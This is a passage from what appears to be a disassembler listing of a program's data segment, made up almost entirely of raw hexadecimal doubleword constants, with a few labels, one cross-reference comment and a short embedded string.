		dd 0CA272551h, 214D80B1h, 3AC2A82Eh, 562C6667h,	0AB21F2AEh
		dd 0DAC72B43h, 759D6E52h, 0B562514Ch, 284379C9h, 175D460Ah
		dd 460F4524h, 50562421h, 203A19D5h, 2B82E41h, 48E63C29h
		dd 5A4D36E1h, 89DA6B6Bh, 20089C7Eh, 1066B60Ch, 50365309h
		dd 0EC54D54Dh, 86575165h, 46F468D9h, 53691672h,	4AC02261h
		dd 0D46024E2h, 0E4CD4D62h, 0C9F9241h, 64EF679h,	0E6A06C7Ch
		dd 70246553h, 4E03994Fh, 0CF44766Fh, 540C4C7Ah,	0F647085Ah
		dd 5C4C5C74h, 57414D74h, 2403762Eh, 0AA751C03h,	50108414h
		dd 0BA64EA57h, 274D5D4Ch, 9E67611Fh, 0E878D842h, 513B2331h
		dd 0A6E1724Eh, 461C4611h, 44100829h, 183153CDh,	0DD411FA0h
		dd 0A898A5FFh, 9211CC8Eh, 0FD403809h, 8EE240C8h, 0D9ABE140h
		dd 2272E611h, 7177484Dh, 12D64792h, 0F541B418h,	9B668CE1h
		dd 2321C009h, 931BE3B0h, 765A2C11h, 2113A422h, 0F385A838h
		dd 0E0FD44F6h, 0CC51C4F0h, 0E58504E4h, 2A325509h, 8278D384h
		dd 1EAC70CBh, 86B53802h, 9539A75Fh, 14A5C5Ah, 0D2030D38h
		dd 6151AB09h, 85408210h, 0A36CED43h, 3158190Ch,	78C80B01h
		dd 0C2BD0290h, 0FCE890A2h, 0E109D006h, 1815705Bh, 0AA414FDh
		dd 68142844h, 14E15C34h, 3850640Ah, 601258D9h, 884F9839h
		dd 47DE88C8h, 1444D0A0h, 0F880FDB0h, 1FD48901h,	0E0474022h
		dd 7E38C024h, 47780848h, 1420CA48h, 283C05DAh, 8C221435h
		dd 48702602h, 20701D95h, 0E608295Ch, 7210B41Ch,	9137A030h
		dd 7934C82Ch, 270112D0h, 0AD108FE0h, 0B8D1CC4Ah, 0F82904D0h
		dd 34795868h, 0B43C404Dh, 240C3C62h, 6D74C525h,	22200EB0h
		dd 0E211211Ch, 232F78C4h, 2D0391E4h, 28E7E148h,	40080991h
		dd 1CA66E01h, 0D8FF682Bh, 0A83E0111h, 54B80849h, 8828E652h
		dd 6845DED0h, 6C3D2454h, 0E1B80101h, 0A5D80C48h, 11189C70h
		dd 877CAC42h, 0AC284095h, 68918790h, 0E64CA4BCh, 282AE5ECh
		dd 0E3E3CC10h, 36428270h, 351C5653h, 393090h, 0B8CA681Ah
		dd 1BF87990h, 0E88ECCC8h, 0C9143502h, 33A0782Ch, 3C6CF1ACh
		dd 0B014289Dh, 0F000229Dh, 553C7401h, 5357015Dh, 0CC335F32h
		dd 6C5E642Eh, 0B7EF60Eh, 548A4145h, 1C98E03Ch, 6C9C016Dh
		dd 6369813Eh, 756F436Bh, 0D507B79h, 1965F051h, 8507972h
		dd 1FF03D66h, 196A636Eh, 7151EDCh, 3646F31Ah, 12267186h
		dd 0F4C794Ch, 0FF6C5302h, 0DF1EFE66h, 0B872570Dh, 1C6E32BAh
		dd 430E1B0Eh, 0C6736FC7h, 64645448h, 0E31A341Dh, 0BC411B12h
		dd 4D764024h, 757D646Fh, 614E11A8h, 0A62B6D6Ah,	18328C23h
		dd 59618F46h, 27C2FB25h, 0E170BF44h, 303D011Ah,	94BB8993h
		dd 0D0584A20h, 1212A2D0h, 0E1535405h, 580DC13Eh, 38ED410Eh
		dd 756219B6h, 89A67350h, 1026348Eh, 1CDC9E95h, 831F288Ah
		dd 53F3A775h, 0F3AE7B79h, 52480C46h, 4CCE1889h,	67EDC456h
		dd 4F9D050Fh, 78AA4E3Eh, 0F8084959h, 7208B110h,	60114D73h
		dd 5255029Ah, 3E054D8Ch, 82D811BAh, 596F5087h, 0C180471Bh
		dd 3CC94C01h, 29570A76h, 3EB16DB9h, 922979D6h, 21981066h
		dd 0ABC21847h, 0FF94901h, 41D91D48h, 7035F0BDh,	55BB63AEh
		dd 0BC654481h, 0CD5957CEh, 2668E0C2h, 4901645Ah, 14123E9Eh
		dd 64F87BFAh, 71122AE3h, 1C264F49h, 0CEAEAC8Eh,	6412AF4Dh
		dd 667AF673h, 0A24C9325h, 0BDD5E32h, 4ACB6E55h,	958C2023h
		dd 0B01B0E4Ch, 5E003002h, 65695670h, 0A6664F77h, 1D614FBh
		dd 35F2104Dh, 35B40267h, 0AD67B84Dh, 292045F2h,	0A8149A5Ch
		dd 44530E16h, 28994A32h, 4A805D93h, 0BBA370BCh,	534E2C5Eh
		dd 3B4C8FB4h, 0EC94D468h, 5466FABDh, 5070D6A0h,	216892CCh
		dd 199840Bh, 64563528h,	0F92C6359h, 0C9DFDF01h,	6487916Bh
		dd 0CC7069E4h, 75F863F4h, 0DCF56CEEh, 0C0997461h, 8AC8F744h
		dd 75754C43h, 0CF37E768h, 1CA4A0F4h, 5A751433h,	12C15624h
		dd 0C2755B73h, 208DD624h, 0A1FA4DE6h, 0A746794Ah, 0D5756552h
		dd 62261259h, 0C38A4469h, 5839B6A3h, 0D2D61B4Ch, 7E986724h
		dd 0A3A4B17Dh, 2A70468h, 6EBC8354h, 0E5A3DCFh, 6AD22CA2h
		dd 43C1D03Bh, 48D46848h, 0A34D2FA0h, 707942E6h,	1E42BA6h
		dd 672EB40Ch, 32CE0521h, 4426FBCh, 72D614AFh, 2E6E576Ch
		dd 0EF06B393h, 56A84F01h, 0F829706Eh, 644970ECh, 86988C97h
		dd 30795270h, 61FCCE32h, 2224A089h, 227C9653h, 6A624F15h
		dd 3F4970CAh, 0D14DCC10h, 9FC9CA78h, 25B22FB8h,	0DD149F65h
		dd 766F14A0h, 1E9ECA74h, 17889652h, 876C02FFh, 19AACA5Fh
		dd 221C4069h, 1ECDD14h,	0A130732Ch, 0CF480199h,	6C29708Ah
		dd 15B880ADh, 4B82950Ch, 70042F2Eh, 7797D274h, 708287CBh
		dd 5A0F44E5h, 4938D56Fh, 89484DC5h, 0A67A1C5Dh,	42A25565h
		dd 5008AA31h, 891EAA50h, 52E650A5h, 0CA246F70h,	0EB29EB36h
		dd 0B2953EAEh, 0ECE2917Eh, 40AA9DA0h, 0BFB14688h, 9B2A79B8h
		dd 0C200AC0Eh, 5602BF38h, 0A168305Ch, 0E64BB65h, 0B8056B27h
		dd 4273D281h, 2B720E21h, 847C5034h, 0BDC01F94h,	452F8CDCh
		dd 0A3553596h, 69C3634Eh, 43C08598h, 0E8993094h, 9CC00652h
		dd 41576810h, 275065A8h, 0DB905B5h, 881A410Ch, 8501312Ch
		dd 0B4D454Fh, 9C24AD0Ch, 0CEC7CD68h, 84AB64BAh,	0C2B28E19h
		dd 5067A392h, 1A3BB345h, 8D06E665h, 70191F44h, 0A4180853h
		dd 9CACA45Fh, 534AB249h
		dd 62521268h, 5FCE6470h, 0FAB115E0h, 6707962h, 3F863D53h
		dd 0F6251082h, 90126956h, 0D9918BA9h, 6493B5ACh, 63A9892Eh
		dd 1084E820h, 10A0F699h, 807C7C68h, 0EE47AAD9h,	68A0057Bh
		dd 0C3428223h, 0E5968C66h, 24615128h, 0EE64D002h, 0E121E0C1h
		dd 23484562h, 658C917Bh, 13126922h, 68566296h, 6156C404h
		dd 41DFE412h, 96D4949Dh, 77016886h, 35274157h, 0E3E4C040h
		dd 18104157h, 0D7184992h, 0F208C4A5h, 0BD9105B3h, 52971828h
		dd 0A28A0CB4h, 73026318h, 491F5B90h, 201C5DE4h,	6F5F6428h
		dd 8F702E0Fh, 2967C76Ch, 8FBB02D3h, 4493BD3Eh, 77B53DC7h
		dd 0D74F3AACh, 4664C675h, 4B00257Ch, 65732F42h,	0AD2E2963h
		dd 6553E038h, 99B5646Eh, 3CF43A64h, 683EF625h, 0A726D12Eh
		dd 6D0EC08Ch, 78F70CA4h, 7E184630h, 8C6E792Bh, 0FDF169C4h
		dd 25858C1Ah, 0AC8F7573h, 50490C2Bh, 0A32E213Ah, 0CD15F672h
		dd 0F3AF7028h, 9A7328D9h, 321F406Eh, 4FB82FAEh,	46B4544Dh
		dd 49F2F560h, 0BA73557Ch, 4743C228h, 3B63A77Eh,	0A67B13D3h
		dd 5224CC6Bh, 7251751Eh, 0E596EA96h, 49C5608Dh,	0C39338A9h
		dd 706D675Ch, 900A60ADh, 0DD6B3AE3h, 0DA5AC3E6h, 34D48C70h
		dd 7614E66h, 852C6481h,	0A796D72h, 528BE648h, 54E94465h
		dd 0E4078E8Dh, 748386Eh, 12300BE9h, 0E33A6374h,	52606EF4h
		dd 9B70BAE3h, 576EB8C3h, 7046F215h, 42F33AE5h, 0F34BADA0h
		dd 94482BF4h, 144AAF3h,	421C38B8h, 0B009B432h, 3A45A824h
		dd 51BAFC2Eh, 0B1646220h, 184E2C3Ah, 437E21C8h,	1F24F240h
		dd 5EFC2590h, 3F26E487h, 2DF92A21h, 7E2BC80Fh, 5CF22F43h
		dd 0FC3D901Fh, 27E4873Fh, 0F960213Fh, 20C80F7Eh, 612E257Eh
		dd 22E110F8h, 183BF4C8h, 40F92121h, 7E24C80Fh, 5EF22543h
		dd 0FC26901Fh, 2DE4872Ah, 0F92B213Fh, 5CC80F2Fh, 0F23D437Eh
		dd 27901F3Fh, 0E48760FCh, 20213F7Eh, 42712EF9h,	44BDF42Ch
		dd 21183BC8h, 0F40F921h, 437E24C8h, 1F5EF225h, 2AFC2690h
		dd 3F2DE487h, 2FF92B21h, 7E5CC80Fh, 3FF23D43h, 0FC27901Fh
		dd 7EE48760h, 0F820213Fh, 6139682Eh, 0B9A9D873h, 183BB044h
		dd 25F92421h, 0C22EC90Fh, 0A3085707h, 18875460h, 7FB82E64h
		dd 1860A1EDh, 0C80F24D9h, 2E217E25h, 0F21F178h,	437E24C8h
		dd 35A5F525h, 2188180Bh, 0F224437Eh, 20001F25h,	654B4443h
		dd 0C40AED79h, 0ABB4F4Ah, 0D21423B6h, 4E835EF4h, 424B4349h
		dd 4FA0185Ch, 52434550h, 0E50AAFA4h, 955C1872h,	0AC33962h
		dd 524931AFh, 0BD4FDD43h, 1A84DA47h, 53551845h,	222482Ah
		dd 5341501Ch, 70701869h, 6796A61h, 5303F99Bh, 6295930h
		dd 1052184Ch, 21632E30h, 2ED06D6Fh, 4D4F2343h, 1CE078C9h
		dd 4F6F432Dh, 3A0A696Bh, 11F7A18h, 81B2D227h, 0FA24608h
		dd 7942E0DDh, 783CB64Fh, 6671696Eh, 0B574C69Eh,	0F6761D04h
		dd 8F9EA6C4h, 75534044h, 69397073h, 0E6F3563h, 0F23D53A1h
		dd 0B02D969Bh, 9BF02E6Dh, 382DE382h, 5B092E11h,	0BF075350h
		dd 0E2DD1946h, 60941747h, 49415357h, 742D63F0h,	68A0176Ch
		dd 625AD448h, 447FAB84h, 0F1E6CA93h, 2494290h, 75F80C02h
		dd 830BE62h, 0FD28F020h, 0FF050C7Fh, 72424D53h,	2918090Fh
		dd 2AB63CC8h, 50071337h, 98508B62h, 454E0290h, 524F5754h
		dd 4EDFE663h, 41E747CEh, 80FE894Dh, 0CB4C3033h,	8A06D64Eh
		dd 0A6195D0Bh, 0BD892F73h, 6B0814F3h, 7518A167h, 2E331E70h
		dd 51613133h, 3248124Dh, 46C4F858h, 2EDB7D33h, 2054C916h
		dd 30B732B9h, 5188EA16h, 87070C73h, 0AFF0C63h, 0A11040Bh
		dd 0C2D4711Ah, 8166DCFCh, 0B4445806h, 54464B1Dh, 0DE77A745h
		dd 47407D0Dh, 0A541FA84h, 0BFD62602h, 2E60256h,	42F3548Bh
		dd 470583FEh, 4B4A4948h, 4E9E0Bh, 535251C2h, 0B470B554h
		dd 5A595800h, 64636261h, 67660065h, 6B6A6968h, 0ABB06D6Ch
		dd 6071702Fh, 57675EFh,	7A797877h, 33C30030h, 37363534h
		dd 2B393808h, 6053462Fh, 0EC816614h, 0E689059Bh, 0DB20EDE8h
		dd 12096836h, 0EA63D612h, 1EFA4225h, 14A2147Bh,	68047600h
		dd 0CA2BD06Bh, 15A9E2FAh, 1C3FE10Ch, 249748FAh,	1BCD637Dh
		dd 10E3DB31h, 0FF1799FEh, 42EC89D0h, 2876763Eh,	0B10B9C7h
		dd 315EA4F3h, 536DA65Fh, 56FF2D06h, 0D4DD0C57h,	0E8F582C4h
		dd 9560E0D4h, 0D4AFEFDCh, 588D80CDh, 3C43837Ch,	2581053Ah
		dd 0BB29F428h, 0F00E63B2h, 248D69F5h, 503EA02Fh, 67C37CCEh
		dd 32F764D2h, 26228933h, 4F1BB8C6h, 2B1C9E3h, 0AFF3DFE8h
		dd 4303740Eh, 7E43DEEBh, 0F88F6410h, 26C36158h,	4323BF60h
		dd 0C75B1F8Bh, 1279F0A8h, 0BFC781F8h, 0F9C5185Eh, 80BF1939h
		dd 0F8EB091Dh, 5AF4FAF4h, 0ED05EDF3h, 0F6E3FB52h, 4AF211E3h
		dd 0FD4B6075h, 0A16EC501h, 4036070Ch, 6E58361Ch, 18EF1E4Fh
		dd 4460E56h, 6CC79ADFh,	45E32824h, 554F93Ch, 4FEA8C9Fh
		dd 5A87184Ah, 0E3EB8020h, 34F64938h, 31EEE0FBh,	0FC95FF50h
		dd 48F0AC5Fh, 0CFC11F07h, 0FFC7D20Dh, 247C8107h, 76E17513h
		dd 0D8668148h, 12C84B0Ch, 0C5BF201Ch, 1E89E854h, 0EC61D7DDh
		dd 0FE487EFDh, 54C4C2F8h, 0FCD882F2h, 42875E8h,	3C7C115Dh
		dd 424FA0EFh, 832E235Fh, 84AC99C0h, 0CA40B7A6h,	0F0F78AC2h
		dd 44E36825h, 9D30CF5Bh, 6689FC20h, 5AC3325Ch, 30B26450h
		dd 78358576h, 5D030E0Fh, 0F0AD1C70h, 51E90868h,	34FC5F0Bh
		dd 87C5005h, 5F3C0068h,	5660F631h, 0EFF20DEBh, 7E72CE48h
		dd 8AFE9812h, 0E70E02FFh, 2A5DEEE8h, 60467F0Fh,	73067109h
		dd 501382Bh, 19A00299h,	0A1099230h, 0DC432098h,	0EB102203h
		dd 22DC9006h, 2F7184B0h, 3B189B9h, 96716D63h, 0E1FA6BF9h
		dd 0D93B68F6h, 64B96509h, 1ACA3EA9h, 0CBAC1426h, 31380625h
		dd 273E6F05h, 0A59214D4h, 124EA15Eh, 697571C0h,	7910A674h
		dd 0E7705C66h, 1A778E6Eh, 0BD411BF0h, 46BC996Ch, 1A425106h
		dd 5A1B7725h, 0E75482h,	0F0280108h, 14800DC0h, 0B331E0F2h
		dd 0CB9E69E8h, 1984C09Ah, 0CF260DB3h, 0D063ACF1h, 33E95890h
		dd 0A7DF3AD0h, 15D95302h, 5C16064Eh, 71D109D0h,	8B4C4304h
		dd 30420E41h, 8F0E8E40h, 210AEC0Ch, 3882E404h, 3CFA0237h
		dd 2CB62EA2h, 0F0BDD6D8h, 0A13C8B37h, 2D0D0802h, 40C3409h
		dd 0AB240856h, 9341B7C3h, 0B616C549h, 0A3329A28h, 0FE0A96B5h
		dd 0A7357039h, 0BCD1BF12h, 0BDF23E02h, 0AC0890B0h, 0B7928594h
		dd 9181DF03h, 0A28E9930h, 0CAA263DAh, 449A9488h, 5CA1803h
		dd 58650840h, 96704D32h, 0C4188308h, 0CAD003F3h, 4030A98h
		dd 7060513h, 360E439Fh,	0A3601DB1h, 0EFFDA7F4h,	4AA22B00h
		dd 0D1D7B653h, 3C5DEED9h, 640ECBE9h, 4F0E5772h,	4B0B520Eh
		dd 2CCA278Ah, 490933BBh, 384E2138h, 0F9F65231h,	0F83A0294h
		dd 20C47588h, 2704213Ah, 580F9F25h, 504902EFh, 21244338h
		dd 2843383Fh, 0A243405Ch, 183108A2h, 1682F70Dh,	449F1799h
		dd 7273CE1h, 40C4FC9Eh,	6070BCF6h, 5242A809h, 0F39E574Fh
		dd 0A051B31h, 37256042h, 0B8BCE0ACh, 0E02D7204h, 0DDA934FFh
		dd 269F3329h, 14C7B13Dh, 3AB6505Ch, 698EE45h, 8A5C030Bh
		dd 0D001232Fh, 95329516h, 90E1B81Bh, 7530004Ch,	0F22081BEh
		dd 34011F97h, 25FB4595h, 29800503h, 8A885D04h, 0C90A1CEBh
		dd 0C2E89F11h, 48102B01h, 2A560260h, 39850304h,	0EFAFCA15h
		dd 7932C3F0h, 0CF5BE503h
		dd 21DC247Bh, 0A4DB0358h, 0A8634940h, 0D800E85Eh, 9285C965h
		dd 8E7BB8Fh, 44707CAh, 0F703447Eh, 0F8EDA700h, 354A0A87h
		dd 3E071DBh, 0F602861Eh, 588706BFh, 4C044476h, 0D5163C00h
		dd 409C6E13h, 41F79DDh,	0C5BB3081h, 0E858104Bh,	7C728805h
		dd 15DC9100h, 46A097D8h, 0BB920F89h, 58045B9Fh,	6223F05h
		dd 1AF4DC03h, 0C0B4D3C0h, 61A1042Ch, 0A87E20CEh, 0A20826E2h
		dd 4FC02F07h, 24C723D3h, 7953E800h, 2CED44DBh, 430FEE3Dh
		dd 0BCA8F701h, 0CF8B2280h, 91A72DB4h, 62798F00h, 539D2150h
		dd 0E10170CEh, 8009C80Eh, 78F36AC4h, 0E4E5849Dh, 0C7096438h
		dd 5E534CAh, 2C3B038Eh,	9D000A22h, 0CD6EFABh, 1D93FDA3h
		dd 0DD39D8DAh, 80FB09ECh, 0B113435h, 5907B603h,	0AFC87632h
		dd 8003CE5h, 35B8CCB1h,	87054588h, 0A6400CE4h, 0E68EC22h
		dd 0D388F507h, 0CCA05EDAh, 56B6A44Dh, 0DA2B0C6h, 7450C120h
		dd 87860EF9h, 0FA0EE96h, 0B5B93FDEh, 8794D020h,	530EC484h
		dd 0AE6A9E00h, 0E8D433h, 8F98C54Bh, 22185B9Bh, 2CA702FCh
		dd 0C8400F64h, 704B324Fh, 80D3163Ch, 475A7812h,	49E16EBFh
		dd 0DEA90888h, 78DE9620h, 5B3003B3h, 469AE9FEh,	0ECD0FD0h
		dd 6844E626h, 0B410FBD4h, 900A4A9h, 8C6C6403h, 239A133h
		dd 0BCF6D1EFh, 0E44702E8h, 0A14012E4h, 40A4298Bh, 9E158000h
		dd 3390B9F0h, 11430A42h, 7E840258h, 801344h, 0A6EAEF5Dh
		dd 7FA1BE7Ch, 0F4C39C24h, 37C69002h, 91DC9F04h,	96280014h
		dd 80DFA998h, 0D0780046h, 13D94D35h, 21292E16h,	15F98406h
		dd 8A8DBC10h, 42E4947Fh, 3EC6AE00h, 9EA6C8F6h, 0ECDB4D96h
		dd 0A38816A8h, 0E55E0003h, 2266A1E2h, 0F1E4F37h, 24FA1CF0h
		dd 44D4E4FFh, 0A60FC617h, 0C00F5C0Bh, 9376FE39h, 2A630405h
		dd 0DA51A2F0h, 841888C0h, 80BF2029h, 0ED254A07h, 49A77300h
		dd 689D5483h, 51B89312h, 2FB91019h, 4FDB00D1h, 1ED05127h
		dd 8C1CCA13h, 0F553F3EDh, 1A22946Ah, 43F6E400h,	0FAFB47C1h
		dd 0B3180048h, 9D8B5559h, 893CB79h, 4AA6C652h, 2F104857h
		dd 0FF0E38DEh, 0FB4E644Ah, 8151AF36h, 990D3F2Ch, 10890510h
		dd 78A80A54h, 1F6983B4h, 145FB180h, 0D8131252h,	53C4A503h
		dd 8407615h, 0B94E007Ch, 344AA898h, 31002CB7h, 92913DE2h
		dd 3EF8137Ah, 7D87FD86h, 0DF757871h, 0BA3F6681h, 0BBB9F81Ah
		dd 0D5389100h, 0B3D6283Ch, 7A15002Dh, 7BB0B467h, 4F009F14h
		dd 0FC2BA937h, 0B24979h, 402C7C97h, 1774B24h, 3574E200h
		dd 7E7FB147h, 0F5300073h, 0B72542BEh, 6B00F933h, 0B89890D4h
		dd 0BFFD10h, 4A70E389h,	9BB5994Eh, 0FF224100h, 761DE1C0h
		dd 43040072h, 460CE018h, 2724A805h, 93070084h, 485311B6h
		dd 9920DF96h, 747D71h, 0FC85FD02h, 7570417Eh, 20421400h
		dd 0A9B692F5h, 831D01B9h, 7ABE2CE1h, 0FF007B7Bh, 0B7D68890h
		dd 67B80034h, 259F0C91h, 4E0CB4BAh, 0DE7F78B2h,	97150043h
		dd 0E219F82Ah, 3C007948h, 371CBB98h, 3F9BB1h, 0B54A4776h
		dd 0BFD40305h, 0D2D30800h, 329349E0h, 873D00D5h, 0B34F77F9h
		dd 7C000473h, 46E3F769h, 482D6672h, 11FA5CB0h, 0C2AD0118h
		dd 811D001Dh, 0EBC1FED0h, 53D7300h, 0F9214192h,	4615044Ah
		dd 0EF797D0Ch, 0FC1B7680h, 77E20039h, 4FB1D629h, 7400969Bh
		dd 0BE472572h, 496697h,	7BD5124Eh, 0FD832C76h, 7FBFB800h
		dd 42B69937h, 70A92424h, 0BA9F0026h, 787A912Dh,	34F82000h
		dd 27B2F580h, 0E302007Ch, 0B73C7135h, 3F007EBBh, 9067A84Bh
		dd 5098B51Ch, 48CF29h, 0B09340B3h, 0E138B9B4h, 0E3217600h
		dd 19A91477h, 73E20BF7h, 8D848135h, 794D80D1h, 43017278h
		dd 9FB4D569h, 49202591h, 48470014h, 39054BB8h, 401B5F5h
		dd 37E99B7h, 1D607AF8h,	427D003Ch, 0D4F62A7Bh, 0A800B2B0h
		dd 4A24759Bh, 3496B1h, 33B397BBh, 0EB014EFDh, 1C924600h
		dd 90D60B66h, 70E03231h, 0BD402DE0h, 6700BF98h,	7F154174h
		dd 0A3F7149h, 0FC10B9BEh, 76003CBCh, 73A9BA3Dh,	92003774h
		dd 7AE0117Fh, 90E2C13Bh, 0E31A0083h, 85A81C78h,	3A0096F5h
		dd 4E7775F9h, 270B4B5h,	0BBBA2D79h, 0D480981Dh,	0D084B0B3h
		dd 467CEB09h, 425C1F7Eh, 0C41F0230h, 4935C022h,	0C0067B7h
		dd 41142499h, 0B6D613h,	2B043435h, 8791BED4h, 0E3BFF824h
		dd 0FD234B00h, 118053Ch, 403D90FCh, 30B243B9h, 15007764h
		dd 79B1667Ch, 9B9F2Ch, 127FB897h, 789342EBh, 0D3894713h
		dd 492114h, 4FE10871h, 7FB32C7Dh, 0A09072h, 75B44076h
		dd 0D51D7B25h, 0E388BF00h, 0BB9BBA15h, 0FC9624B2h, 27C2892h
		dd 30E00924h, 726098F8h, 0A80067B0h, 669F461Ch,	48B942h
		dd 3CB1414Fh, 0F52899B5h, 79439326h, 80F9BE89h,	974B3783h
		dd 4AFD0092h, 474B82Dh,	1B000C05h, 90143FD4h, 0F466FCB7h
		dd 2CB9003Dh, 0BB4FD51Ah, 0D600B5BEh, 46B21CA9h, 0D8DB41h
		dd 0F42474D9h, 0AC5DEBBFh, 0C9294305h, 80AF52B1h, 7E310408h
		dd 9503130Eh, 0E8B6204Eh, 38D671B5h, 0D581CA15h, 0CD9EDE83h
		dd 0F1A9D3AAh, 2A4DD42Ch, 0C8278800h, 0D64B5B0Eh, 75A7516h
		dd 2844A953h, 0C575803Bh, 4100DD8Dh, 980C0F92h,	3D7C9664h
		dd 7B83A45Eh, 8513EF9Fh, 0BEDF1BB0h, 21F45C91h,	60FC0348h
		dd 0D0B454B5h, 1200168Bh, 0D1CE671Bh, 843C17h, 71C33BB9h
		dd 0C486F46h, 524B2501h, 0B1A2756Eh, 8087AE9Dh,	0FD0B445Eh
		dd 0BE005910h, 9E69918Ah, 0F4249FE4h, 47CF0119h, 0D1A387FAh
		dd 0C4C5316Ah, 4400081Dh, 7811B5D9h, 303FE8Dh, 23507585h
		dd 3EE8D5A0h, 341D6B2Bh, 0AC80B6C8h, 581049CBh,	64BC0015h
		dd 5040F235h, 0ED3FAE16h, 41139E0Eh, 0B56CB880h, 905692h
		dd 1FF53DEEh, 0BB9157EFh, 0A627EA0Fh, 421E4093h, 0CA5B0Ch
		dd 5033FC6Dh, 0CF2AD33Ch, 0FEFAC117h, 69CF00AEh, 205275A3h
		dd 8C7A7C00h, 64D0D6E3h, 4B0700FBh, 0ADD1E4EEh,	0DE1DBD96h
		dd 0F1003CE7h, 9425D561h, 0CB4A0005h, 43E630D1h, 3B0093BBh
		dd 8789DCEAh, 7CC064h, 80AF84C8h, 3E4E478Ah, 230B2707h
		dd 97A00FC4h, 0EA41893h, 0B7CE5019h, 9110D2E0h,	0BC008D07h
		dd 2B60E94Fh, 0D35871h,	3A520FEh, 0A6806E68h, 0CC23A700h
		dd 0CD3B5D7Eh, 3C13E849h, 1705E2B9h, 261687Ah, 874D8FF0h
		dd 0CA45DC76h, 80B880B2h, 289A0BE1h, 879C80D3h,	0B4246D21h
		dd 2533365Dh, 67988468h, 388E00A1h, 4699C296h, 86804C8h
		dd 30F70462h, 4D2E9302h, 8E846BCh, 560BEB66h, 0DB979AE4h
		dd 9A484F0h, 3A5A4E04h,	0F35825E4h, 0A4C4BAF0h,	5A4E0409h
		dd 0BBAFF07Fh, 1E5C0010h, 7C8DDB71h, 0F12FFECBh, 54F031h
		dd 0DDF90443h, 0D1F6A0C0h, 72F01F95h, 0F0FBF832h, 0BE4084D6h
		dd 23B8FDF0h, 60127292h, 62484269h, 1648F270h, 0CC974F43h
		dd 1EE148F0h, 97AD0123h, 78EFE95Ch, 0EDC998E8h,	43847378h
		dd 840E03D4h, 16296578h, 8A01163h, 9B424100h, 0B490BE3Fh
		dd 66240025h, 49BAA804h, 0F50998B1h, 60339327h,	96C4DD3Fh
		dd 0B85E804Eh, 5650DB4Ah, 1346310Ch, 1830603h, 0A3B2DF8Ch
		dd 0D0CD2491h, 76005B6Eh, 3A4FFAC0h, 0E87003D0h, 4931CDFh
		dd 90778EA9h, 0DAFC7940h, 300F972h, 1BB6F6CCh, 7695699h
		dd 0E221761Ah, 70B3D728h, 4E2DD361h, 39130500h,	0CF5EC488h
		dd 0B5040097h, 6EDCAC24h, 0E5FCA6EDh
		db 0
byte_756465	db 0B2h, 6Ch, 0C0h	; DATA XREF: seg001:off_431180o
		dd 0CEE62A11h, 0A73800AEh, 5BD431D2h, 0A358BAC6h, 38A13DFAh
		dd 7002800Bh, 0F2842807h, 6FA20057h, 0E4174474h, 39007C35h
		dd 0CB323B93h, 34148Fh,	0ACC62905h, 58DA85C1h, 2899661Eh
		dd 9DA2DC40h, 0B11790h,	0B5F75AE2h, 0AC7EC2CDh,	6D7D9400h
		dd 72B5B27h, 3A4003Ah, 5153E3BFh, 9B3C4392h, 3038004Fh
		dd 0E5FC6C23h, 0FDC10480h, 0C08D61DAh, 8C1E0BF5h, 0C8415209h
		dd 495C1F2Ah, 847B78E7h, 0CF1A8E40h, 0C005064h,	0E4FF9AA5h
		dd 974BC6h, 814295A2h, 24C1AFCh, 0A11B5600h, 0C4AABDCDh
		dd 0D3690047h, 7FC1071Fh, 390057F5h, 0C3409DECh, 1D827D4h
		dd 19820ECBh, 0D447C8E3h, 0FB7D7C62h, 9199E200h, 0AA48ADE7h
		dd 0E0A90081h, 0C5D71B76h, 0B200E8B6h, 3D2275DBh, 0AF5661h
		dd 649E1F4Ch, 8B674E5h,	51390400h, 0A1798D12h, 0D635003Ah
		dd 899B920Fh, 4D0F15C5h, 21474F78h, 0B5CA07AAh,	0B9E016DDh
		dd 97CC0099h, 0B8EE12BAh, 0EC770BCEh, 0F3D71500h, 0DCE8C76Bh
		dd 0D80703FCh, 1B849C3Dh, 54FBA2D8h, 424E5000h,	6F683148h
		dd 0F65EE44h, 36677A49h, 794D5401h, 5158CC5Ah, 6D4B7700h
		dd 64767165h, 45690367h, 6A53506Eh, 637051E0h, 34302AC0h
		dd 16435446h, 0E05A6E4Eh, 780057D0h, 48733665h,	766F47h
		dd 4D6B6352h, 54756639h, 0F758513Eh, 710032ECh,	6F316D50h
		dd 1D556E70h, 4E333734h, 0CFDC474Dh, 49416B46h,	0F64F506Fh
		dd 3662F1C0h, 7AEA647Eh, 0FA5C5348h, 0FE023010h, 432DE05Ah
		dd 386C681Ch, 73D449DCh, 556100BEh, 41363542h, 724A196Ah
		dd 0F35AFA66h, 70CF64FBh, 69704C43h, 153683Fh, 6649637Ah
		dd 67C8446Eh, 0E4DE847h, 64453935h, 404237E7h, 34543175h
		dd 6E615616h, 6C1FF0h
aOdpqzik2hrTBvd	db 'ODPQzIK2HR',7,'t',9,'BVdc',0
		dw 7410h
		dd 0F3777559h, 14735C8h, 4161434Ch, 0D9375A46h,	6FC0C742h
		dd 70F86864h, 52664D07h, 7490546Bh, 3A77724Eh, 1060434Fh
		dd 317A4867h, 525B6973h, 36F877F5h, 6B660251h, 4484A5Ah
		dd 61C03E2Fh, 68767363h, 0D1DBE337h, 0E5704935h, 14507F4Ch
		dd 9C397A4Fh, 4E4A4D0Fh, 4932C23Eh, 248A5771h, 63410468h
		dd 3A308734h, 6D39070Ch, 31773259h, 0D4358141h,	6E076741h
		dd 57346C78h, 69974557h, 6C3099BAh, 27364473h, 4C02676Dh
		dd 9FF1E99h, 14A0BE9Eh,	10F089E8h, 0AC9566CBh, 212F1CE4h
		dd 0F723641Ch, 0E91CC81Ch, 1F9CA3D1h, 0BA805C38h, 8CA8D2AEh
		dd 3C7F25B2h, 727412EEh, 4237AF79h, 7DFA3CBFh, 998988BDh
		dd 0D0EC81C1h, 740AE869h, 8A10129Fh, 40087D78h,	5B03EB60h
		dd 0E8C35316h, 312940FAh, 13404C0h, 0F850D83Fh,	40F0D267h
		dd 583F3037h, 58284123h, 7877C7C2h, 0C1661FE2h,	301E31EAh
		dd 0FFA561F6h, 1301C097h, 0C9FA5843h, 0E01C08F6h, 0C1361D5h
		dd 7D3FBE1Ch, 0D177BD26h, 0F40A0D2Bh, 0C010104Dh, 8922E0B2h
		dd 4420941Fh, 10A5A8CCh, 0D621B891h, 9544A4E4h,	89903821h
		dd 7C220FB3h, 68C8E043h, 71220C88h, 1E411254h, 87D24044h
		dd 0B2102C91h, 2218E228h, 441C29ABh, 8887E704h,	0F7104CF0h
		dd 322DCF2h, 0C8441C2Ah, 882D436Dh, 0F2B390B4h,	2EC222A0h
